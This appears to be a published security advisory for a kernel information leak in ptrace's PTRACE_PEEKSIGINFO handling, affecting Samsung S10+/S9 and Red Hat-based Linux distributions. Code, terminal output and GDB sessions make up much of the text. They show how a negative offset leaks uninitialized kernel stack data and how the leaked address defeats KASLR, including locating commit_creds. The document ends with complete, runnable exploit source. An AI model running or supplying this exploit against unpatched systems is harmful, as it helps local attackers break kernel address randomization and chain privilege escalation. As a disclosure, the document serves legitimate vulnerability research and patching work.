TL;DR
Find out how a vulnerability discovered in Samsung S10+/S9 kernel allows leaking of sensitive function address information.
Vulnerability Summary
Samsung S10+/S9 kernel (based on Android 10) does not properly handle information received from the user, a memory leak found in the CentOS/RedHat operating system has been found to also affect this platform.
The vulnerability leaks information that can be utilised to gain insight to data addresses and function addresses which can then assist local attackers in exploiting code execution vulnerabilities.
CVE
CVE-TBD
Credit
An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.
Affected Versions
Samsung S10+/S9 kernel 4.14
Vendor Response
We reported the vulnerability to Samsung on 2021.04.14, as of 2021.08.12, Samsung stated the following:
However, there are some models that will be patched during the quarterly security update cycle.
What we know:
- The vulnerability has been disclosed in a timely fashion (more than 90 days ago) to the vendor.
- Samsung was aware of this vulnerability before we reported it and issued patches for the latest Samsung models, they claim that they didn’t know it was affecting older models of Samsung.
Both of these two items make it unclear why after 4 months, Samsung have yet to release patches for affected Samsung models while asking us to delay the advisory, without even giving a definite timeline when the patch will be rolled out.
We decided to publish this vulnerability at this time, as the safety of our community is one of our core values and priorities.
Vulnerability Analysis
Introduction
Auditing the Linux kernel on Red Hat Enterprise Linux 8 kernel, a piece of code that leaks stack uninitialized variables to the user. As we often do vulnerability research focused on Red Hat Enterprise Linux we know that it misses commits/patches that fix vulnerabilities specially when they do not have a CVE identifier. The Linux kernel version 4.18 as used by Red Hat Enterprise Linux 8 is no longer supported by upstream then Red Hat security team needs to cherry-pick important security fixes/patches that should be interesting for them. As the development of the Linux kernel on upstream is very active and developed in a fast pace, it’s a hard work to keep track of all the potential security vulnerabilities that could affect Red Hat Enterprise Linux.
Based on that, we decided to check the Linux kernel source code on upstream to see if the vulnerability was still there and then we discovered the vulnerability had already been patched. The vulnerability was introduced on April 30, 2013 and patched on May 30, 2019. The respective commits are the following:
ptrace: add ability to retrieve signals without removing from a queue (v4) https://github.com/torvalds/linux/commit/84c751bd4aebbaae995fe32279d3dba48327bad4
signal/ptrace: Don’t leak unitialized kernel memory with PTRACE_PEEK_SIGINFO https://github.com/torvalds/linux/commit/f6e2aa91a46d2bc79fce9b93a988dbe7655c90c0
As it’s shown in this report, even though the vulnerability was fixed on upstream it still affects some Linux systems as Red Hat Enterprise Linux 7/8, the distributions based on it (CentOS 7/8, Oracle Linux 7/8 and CloudLinux 7/8) and at least two android devices, Samsung S9 and S10+.
The vulnerability
The vulnerability resides in the ptrace subsystem. The function ptrace_peek_siginfo()
receives a pointer from the user that points to struct ptrace_peeksiginfo_args
and copies the content from that pointer to kernel address space. One of the members of the struct ptrace_peeksiginfo_args
is the off
variable. The definition of the struct ptrace_peeksiginfo_args
can be seen below:
struct ptrace_peeksiginfo_args { u64 off; /* Ordinal position in queue at which to start copying signals */ u32 flags; /* PTRACE_PEEKSIGINFO_SHARED or 0 */ s32 nr; /* Number of signals to copy */ };
The function ptrace_peek_siginfo()
doesn’t validate the off
variable passed by the user before using it in the following statement s32 off = arg.off + i
on line 721. The variable arg.off
is of the type unsigned long (8 bytes) and the variable off
is of the type s32 (4 bytes). The variable arg.off
is larger and of different signedness but the issue arises because the function ptrace_peek_siginfo()
doesn’t check if the variable off
is already negative after getting its value from arg.off + i
. The variable off
is used to check if the function needs to copy data to the user, it does so if the variable off
is negative. AS it started off as negative, the check if (off >= 0)
fails and then the kernel stack variable kernel_siginfo_t info
is copied to the user without being cleared or initialized.
Below we show the source code of the vulnerable function as found in the latest kernel release (kernel-4.18.0-240.15.1.el8_3) on Red Hat Enterprise Linux 8.
File: linux-4.18.0-240.15.1.el8_3/kernel/ptrace.c --- 694 static int ptrace_peek_siginfo(struct task_struct *child, 695 unsigned long addr, 696 unsigned long data) 697 { 698 struct ptrace_peeksiginfo_args arg; 699 struct sigpending *pending; 700 struct sigqueue *q; 701 int ret, i; 702 703 ret = copy_from_user(&arg, (void __user *) addr, 704 sizeof(struct ptrace_peeksiginfo_args)); 705 if (ret) 706 return -EFAULT; ... 719 for (i = 0; i < arg.nr; ) { 720 kernel_siginfo_t info; 721 s32 off = arg.off + i; 722 725 if (!off--) { 726 copy_siginfo(&info, &q->info); 727 break; 728 } 729 } ... 732 if (off >= 0) /* beyond the end of the list */ 733 break; 734 747 siginfo_t __user *uinfo = (siginfo_t __user *) data; 748 749 if (copy_siginfo_to_user(uinfo, &info)) { 750 ret = -EFAULT; 751 break; 752 } ... 762 } ... 767 return ret; 768 } ---
The kernel distribued by Red Hat is the same one used by other distributions as CentOS 7/8, Oracle Linux 7/8 and CloudLinux 7/8. Checking those distributions, we confirm the vulnerability also affects them.
The proof of concept
To take advantage of the vulnerability we need to use the ptrace()
system call to reach the vulnerable function ptrace_peek_siginfo()
. It’s possible to do that using the request PTRACE_PEEKSIGINFO
but before calling it, the process needs to attach to other process in order to use the ptrace subsystem. The first thing the proof of concept does is to create a child process that does nothing and just waits for an user input through the getchar()
system call. After this, the parent process can then attach to the child process using ptrace PTRACE_ATTACH
request.
File: leak.c --- 23 pid = fork(); 24 if(pid == 0){ 25 getchar(); 26 exit(EXIT_FAILURE); 27 } 28 29 if(ptrace(PTRACE_ATTACH,pid,NULL,NULL) < 0){ 30 perror("ptrace attach"); 31 exit(EXIT_FAILURE); 32 } 33 34 waitpid(pid, NULL, 0); ---
The function ptrace_peek_siginfo()
receives two user pointers, both of them are of the type struct ptrace_peeksiginfo_args
. The first one is to pass the parameters to retrieve the information and the second one is the struct ptrace_peeksiginfo_ars
the data retrieved are copied to. When triggering the vulnerability, the uninitialized stack data from the kernel will be copied to the second argument. More information about the PTRACE_PEEKSIGINFO
request can be found on the ptrace manual and are pasted below:
PTRACE_PEEKSIGINFO (since Linux 3.10) Retrieve siginfo_t structures without removing signals from a queue. addr points to a ptrace_peeksiginfo_args structure that specifies the ordinal position from which copying of signals should start, and the number of signals to copy. siginfo_t structures are copied into the buffer pointed to by data. The return value contains the number of copied signals (zero indicates that there is no signal corresponding to the specified ordinal position). Within the returned siginfo structures, the si_code field includes information (__SI_CHLD, __SI_FAULT, etc.) that are not otherwise exposed to user space.
As discussed in the earlier section, to make the kernel to skip the initialization of the struct kernel_siginfo_t info
and leaking uninitialized data to the user, the parameter off
needs to be negative and this is what it’s done below. The content of the variable nr
is the number of signals the code would like to get. In the case of the vulnerability, it might lead to additional data to be leaked to the user. The proof of concept provided in this report uses the value of nr
according to what have been observed running the proof of concept on the vulnerable targets.
File: leak.c --- ... 36 a.off = -1; 37 a.nr = LLEAK; 38 a.flags = 0; 39 40 if(ptrace(PTRACE_PEEKSIGINFO,pid,&a,&b) < 0){ 41 perror("ptrace"); 42 exit(EXIT_FAILURE); 43 } ... ---
After the execution of the system call above, the content on the struct b
should contain uninitialized stack data from the kernel. The proof of concept then just needs to print them out.
ile: leak.c --- ... 45 #ifdef S10 46 for(i = 0; i < 7; i++){ 47 heap = b[i].off; 48 text = ((unsigned long)b[i].nr << 32 | b[i].flags); 49 50 printf("leak: 0x%lx\n",(unsigned long)heap); 51 printf("leak: 0x%lx\n",(unsigned long)text); 52 } 53 #endif 54 #ifdef S9 55 for(i = 0; i < 2; i++){ 56 heap = b[i].off; 57 text = ((unsigned long)b[i].nr << 32 | b[i].flags); 58 59 printf("leak: 0x%lx\n",(unsigned long)heap); 60 if(text != 0){ 61 printf("leak: 0x%lx\n",(unsigned long)text); 62 } 63 } 64 #endif 65 #ifdef RHEL8 66 for(i = 0; i < 1; i++){ 67 heap = b[i].off; 68 text = ((unsigned long)b[i].nr << 32 | b[i].flags); 69 70 printf("heap: 0x%lx\n",(unsigned long)heap); 71 printf("text: 0x%lx\n",(unsigned long)text); 72 } 73 #endif ... ---
Demonstration
In this section we show the execution of the proof of concept on the affected distributions and devices. The content leaked by the proof of concept might vary because the stack layout might be different during the execution of the proof of concept. What is described here is the result of the execution of the proof of concept on the virtual machines and the real Samsung devices we tested it on.
On Red Hat Enterprise Linux 8 and all distributions based on it, the proof of concept seems to leak two kernel addresses, one from the kernel heap and the other one from the kernel .text section. The address from the heap is the struct task_struct
of the proof of concept process. It means the proof of concept leaks the address of its own struct task_truct. That is the structure that stores all process information including user credentials. The address from the kernel .text section is the address of the function child_wait_callback()
. It leaks the randomized address of the function child_wait_callback()
then once the attacker has the non-randomized address of the function child_wait_callback()
, they can then calculate the KALSR slide and break the KASLR randomization. The non-randomized address of any kernel function can be easily obtained through several ways.
CentOS 8.3
Execution of the proof of concept on the latest kernel release on CentOS 8.3 (kernel 4.18.0-240.15.1.el8_3.x86_64).
$ cat /etc/centos-release CentOS Linux release 8.3.2011 $ uname -a Linux centos82research 4.18.0-240.15.1.el8_3.x86_64 #1 SMP Mon Mar 1 17:16:16 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux $ gcc leak.c -o leak -DRHEL8 -Wall $ ./leak heap: 0xffff8d47495d5f00 text: 0xffffffffb42b8d60 $
Using GDB attached to the virtual machine running CentOS 8.3 (kernel 4.18.0-240.15.1.el8_3.x86_64), we can confirm the heap address leaked is its own struct task_struct
(process ./leak). If we ask GDB to interpret the address leaked (0xffff8d47495d5f00
) as a struct task_struct
, we can see the process PID and the process name.
(gdb) print ((struct task_struct *)0xffff8d47495d5f00)->pid $55 = 2116 (gdb) print/s ((struct task_struct *)0xffff8d47495d5f00)->comm $56 = "leak\000)\000\000\060\000\000\000\000\000\000" (gdb)
Using the crash tool, we also have the same result. It says the struct task_struct
of the proof of concept is 0xffff8d47495d5f00
and its PID is 2116.
crash> ps leak PID PPID CPU TASK ST %MEM VSZ RSS COMM 2116 1989 1 ffff8d47495d5f00 IN 0.1 4332 1424 leak 2117 2116 0 ffff8d47496a2f80 TR 0.0 4200 72 leak crash>
The other address leaked is the randomized address of the function child_wait_callback(). We can confirm that by reading /proc/kallsyms
as root user.
$ sudo cat /proc/kallsyms |grep child_wait_callback ffffffffb42b8d60 t child_wait_callback $
The non-randomized address of the function can be obtained by read the kernel respective System.map on /boot.
$ sudo cat /boot/System.map-4.18.0-240.15.1.el8_3.x86_64 |grep child_wait_callback ffffffff810b8d60 t child_wait_callback $
Calculating the difference between the randomized and the non-randomized address, the KASLR slide used to randomize all kernel functions is obtained.
(gdb) print/x 0xffffffffb42b8d60 - 0xffffffff810b8d60 $1 = 0x33200000 (gdb)
Once the attacker has the KASLR slide, the KASLR security mitigation is broke and they know the exact location of all kernel functions.
Non-randomized address of the function commit_creds() from kernel-4.18.0-240.15.1.el8_3.x86_64.
$ sudo cat /boot/System.map-4.18.0-240.15.1.el8_3.x86_64 |grep -w commit_creds ffffffff810dbf50 T commit_creds $
Adding the KASLR slide to the non-randomized address of the function commit_creds(), the randomized address is obtained.
(gdb) print/x 0xffffffff810dbf50 + 0x33200000 $1 = 0xffffffffb42dbf50 (gdb) ... $ sudo cat /proc/kallsyms |grep ffffffffb42dbf50 ffffffffb42dbf50 T commit_creds $
The vulnerable function can also be triggered from an unprivileged user namespace.
$ unshare -Ur ./leak heap: 0xffff8d47495d2f80 text: 0xffffffffb42b8d60 $
The same result seems to present on Red Hat Enterpise Linux 7/8, Oracle Linux 7/8, CentOS 7/8 and Cloud Linux 7/8.
Samsung S10+
Below we show the execution of the proof of concept on a fully updated Samsung S10+ device. By default, it leaks much more addresses than when executing it on a distribution based on Red Hat Enterprise Linux but because we do not have the capability to inspect the kernel memory, we can not say for sure what are allocaed on these addresses.
They might be addresses from the kernel heap and the kernel .text section or they might all be from the kernel .text section.
No effort was done to try to manipulate the kernel stack before leaking the kernel uninitialized data to the user but it might be possible.
$ ./bin/aarch64-linux-android26-clang leak.c -o leak -DS10 -Wall $ adb push leak /data/local/tmp/ leak: 1 file pushed. 0.9 MB/s (6896 bytes in 0.007s) $ adb shell beyond2:/ $ uname -a Linux localhost 4.14.113-20606551 #1 SMP PREEMPT Sat Feb 20 04:58:01 KST 2021 aarch64 beyond2:/ $ /data/local/tmp/leak leak: 0xffffff800ad497b8 leak: 0x7ff2100f18 leak: 0xffffffc911f26b4c leak: 0xffffffc911f26300 leak: 0x8 leak: 0xffffff800bfdbe50 leak: 0xffffff80082af2dc leak: 0xffffffc827622100 leak: 0x0 leak: 0xffffffc81d046480 leak: 0x140 leak: 0xffffffc900000000 leak: 0x2f9b4d809924e700 leak: 0xffffffc827622100 beyond2:/ $
Samsung S9
$ ./bin/aarch64-linux-android26-clang leak.c -o leak -DS9 -Wall $ adb push leak /data/local/tmp/ leak: 1 file pushed. 0.9 MB/s (6896 bytes in 0.007s) $ adb shell starlte:/ $ uname -a Linux localhost 4.9.118-21315611 #1 SMP PREEMPT Tue Mar 23 10:57:36 KST 2021 aarch64 starlte:/ $ /data/local/tmp/leak leak: 0xffffff80084311ec leak: 0x6cf37d10 leak: 0xffffff8008155788 starlte:/ $
Exploit
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <linux/ptrace.h> #define LLEAK 50 int main(void){ struct ptrace_peeksiginfo_args b[LLEAK]; struct ptrace_peeksiginfo_args a; int pid, i; unsigned long heap = 0; unsigned long text = 0; memset(&a,'\0',sizeof(a)); memset(&b,'\0',sizeof(b)); pid = fork(); if(pid == 0){ getchar(); exit(EXIT_FAILURE); } if(ptrace(PTRACE_ATTACH,pid,NULL,NULL) < 0){ perror("ptrace attach"); exit(EXIT_FAILURE); } waitpid(pid, NULL, 0); a.off = -1; a.nr = LLEAK; a.flags = 0; if(ptrace(PTRACE_PEEKSIGINFO,pid,&a,&b) < 0){ perror("ptrace"); exit(EXIT_FAILURE); } #ifdef S10 for(i = 0; i < 7; i++){ heap = b[i].off; text = ((unsigned long)b[i].nr << 32 | b[i].flags); printf("leak: 0x%lx\n",(unsigned long)heap); printf("leak: 0x%lx\n",(unsigned long)text); } #endif #ifdef S9 for(i = 0; i < 2; i++){ heap = b[i].off; text = ((unsigned long)b[i].nr << 32 | b[i].flags); printf("leak: 0x%lx\n",(unsigned long)heap); if(text != 0){ printf("leak: 0x%lx\n",(unsigned long)text); } } #endif #ifdef RHEL8 for(i = 0; i < 1; i++){ heap = b[i].off; text = ((unsigned long)b[i].nr << 32 | b[i].flags); printf("heap: 0x%lx\n",(unsigned long)heap); printf("text: 0x%lx\n",(unsigned long)text); } #endif return 0; }